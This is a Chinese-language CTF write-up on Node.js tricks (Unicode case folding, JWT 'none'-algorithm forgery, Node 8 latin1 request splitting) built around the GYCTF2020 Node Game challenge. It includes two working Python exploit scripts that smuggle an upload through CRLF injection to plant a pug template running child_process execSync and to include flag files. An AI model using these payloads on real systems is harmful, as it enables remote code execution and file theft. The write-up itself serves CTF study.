• js相关trick总结


    js 大小写特性

    "ı".toUpperCase() == 'I'
    "ſ".toUpperCase() == 'S'
    

    参考p神文章:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

    Nodejs jwt库

    其实这不是jwt库本身的缺陷,只是开发者可能会疏忽的一个点吧,如果jwt验证不设置algorithms,即使加密设置了algorihm为HS256,验证方式依然为none,如下图
    在这里插入图片描述
    例如这里设置algorithm:HS256,实际上少个s,那么加密方式其实就是none,然后如果密钥为空或者undefined就能直接伪造jwt
    在这里插入图片描述
    修改的方法也就是将验证的参数设置为algorithms,如下,就不会通过验证
    在这里插入图片描述
    具体可以看这题ezlogin:
    http://phoebe233.cn/index.php/archives/34/

    Nodejs8 SSRF

    Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符

    如下:u0127是高编号的单引号,可以看到我们使用latin1编码后的解析变化,他将自动帮我们舍去01,保留27
    在这里插入图片描述
    在Nodejs8,通过这个特性编码一些特殊字符,传出HTTP请求的服务器都可能受到通过请求拆分实现的SSRF的攻击

    以这道题为例,点都在题里2333

    [GYCTF2020]Node Game

    考点:Nodejs8漏洞,crlf
    当时看都没看,现在跟着wp做了一遍感觉还好
    源码主要有几个路由
    1./:接收action参数,过滤了/,并且会将/template/"action".pug这一文件进行pug渲染
    在这里插入图片描述
    2./file_upload
    允许127.0.0.1文件上传,然后会将路径根据mimetype进行拼接: '/uploads/' + req.files[0].mimetype +'/';
    结合上面的对/template/下的pug文件进行渲染,可以想到使用../,如:
    uploads/../template/+filename这样就相当于传了一个文件到template下,然后进行包含,不过前提是要先SSRF
    在这里插入图片描述
    3./core
    接受一个参数q,并对本地进行请求:url = 'http://localhost:8081/source?' + q
    在这里插入图片描述
    https://xz.aliyun.com/t/2894#toc-2
    根据文章

    Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符

    如下:u0127是高编号的单引号,可以看到我们使用latin1编码后的解析变化,他将自动帮我们舍去01,保留27
    在这里插入图片描述
    不过只有Nodejs8版本才有这种特性,我们可以通过unicode高编码来编码一些特殊字符,然后注入 crlf,达到ssrf文件上传
    在这里插入图片描述
    然后下面就是如何构造http走私了,下面这个是rce的脚本(原文地址放到最后),由于有黑名单验证,可以拼接绕过,然后由于pug模板引擎,需要在前面加上-,来表示开始一段代码,然后记得抓包改一下boundary即可

    import requests
    payload = """ HTTP/1.1
    Host: 127.0.0.1
    Connection: keep-alive
    
    POST /file_upload HTTP/1.1
    Host: 127.0.0.1
    Content-Length: {}
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
    Connection: keep-alive
    
    {}""".replace('
    ', '
    ')
    
    body = """
    ------WebKitFormBoundaryO9LPoNAg9lWRUItA
    Content-Disposition: form-data; name="file"; filename="flag.pug"
    Content-Type: ../template
    
    -var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
    -return x
    ------WebKitFormBoundaryO9LPoNAg9lWRUItA--
    """.replace('
    ', '
    ').replace('+', 'u012b')
    payload = payload.format(len(body), body)   
            .replace(' ', 'u0120')             
            .replace('
    ', 'u010du010a')    
            .replace('"', 'u0122')             
            .replace("'", 'u0127')             
            .replace('[', 'u015b')             
            .replace(']', 'u015d')             
            .replace('(', 'u0128')             
            + 'GET' + 'u0120' + '/'
    
    print(requests.get('http://7d62c307-77f7-4d58-bbd8-e05c418e7da5.node3.buuoj.cn/core?q=' + payload).content)
    

    例如我一开始的请求是这样:

    GET /core?q=1 HTTP/1.1
    host: xxx
    Connection: close
    

    经过构造后变成:

    GET /core?q= HTTP/1.1
    Host: 127.0.0.1
    Connection: keep-alive
    
    POST /file_upload HTTP/1.1
    Host: 127.0.0.1
    Content-Length: {}
    Content-Type: ...
    Connection: keep-alive
    
    ---
    文件上传表单
    ---
    
    GET / HTTP/1.1
    host: xxx
    Connection: close
    

    跑完脚本后访问?action=上传的文件名
    在这里插入图片描述
    同时可以看一下pug的文件包含怎么构造的:https://pugjs.org/zh-cn/language/includes.html
    在这里插入图片描述
    这个是赵总的文件包含脚本我稍微改了一下,能自动改content-length

    import urllib.parse
    import requests
    
    payload = ''' HTTP/1.1
    Host: x
    Connection: keep-alive
    
    POST /file_upload HTTP/1.1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
    Content-Length: {}
    cache-control: no-cache
    Host: 127.0.0.1
    Connection: keep-alive 
    
    {}'''
    body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
    Content-Disposition: form-data; name="file"; filename="glzjin.pug"
    Content-Type: ../template
    
    doctype html
    html
      head
        style
          include ../../../../../../../flag.txt
    ------WebKitFormBoundaryO9LPoNAg9lWRUItA--
    '''
    more='''
    
    GET /flag HTTP/1.1
    Host: x
    Connection: close
    x:'''
    payload = payload.format(len(body)+10,body)+more
    payload = payload.replace("
    ", "
    ")
    payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
    print(payload)
    r = requests.get('http://7d62c307-77f7-4d58-bbd8-e05c418e7da5.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
    print(r.status_code)
    

    reference:
    https://xz.aliyun.com/t/2894#toc-2
    http://iv4n.cc/2020-wp-vol1/
    https://www.zhaoj.in/read-6462.html

  • 相关阅读:
    随机数表示方法
    何时用重定向何时用转发
    http中重定向和请求转发
    Java正则表达式
    自定义圆形的ProgressBar
    Android内存管理机制
    Android 安全机制
    8位颜色值的含义
    Shape使用
    Bitmap(三)
  • 原文地址:https://www.cnblogs.com/W4nder/p/12806180.html
Copyright © 2020-2023  润新知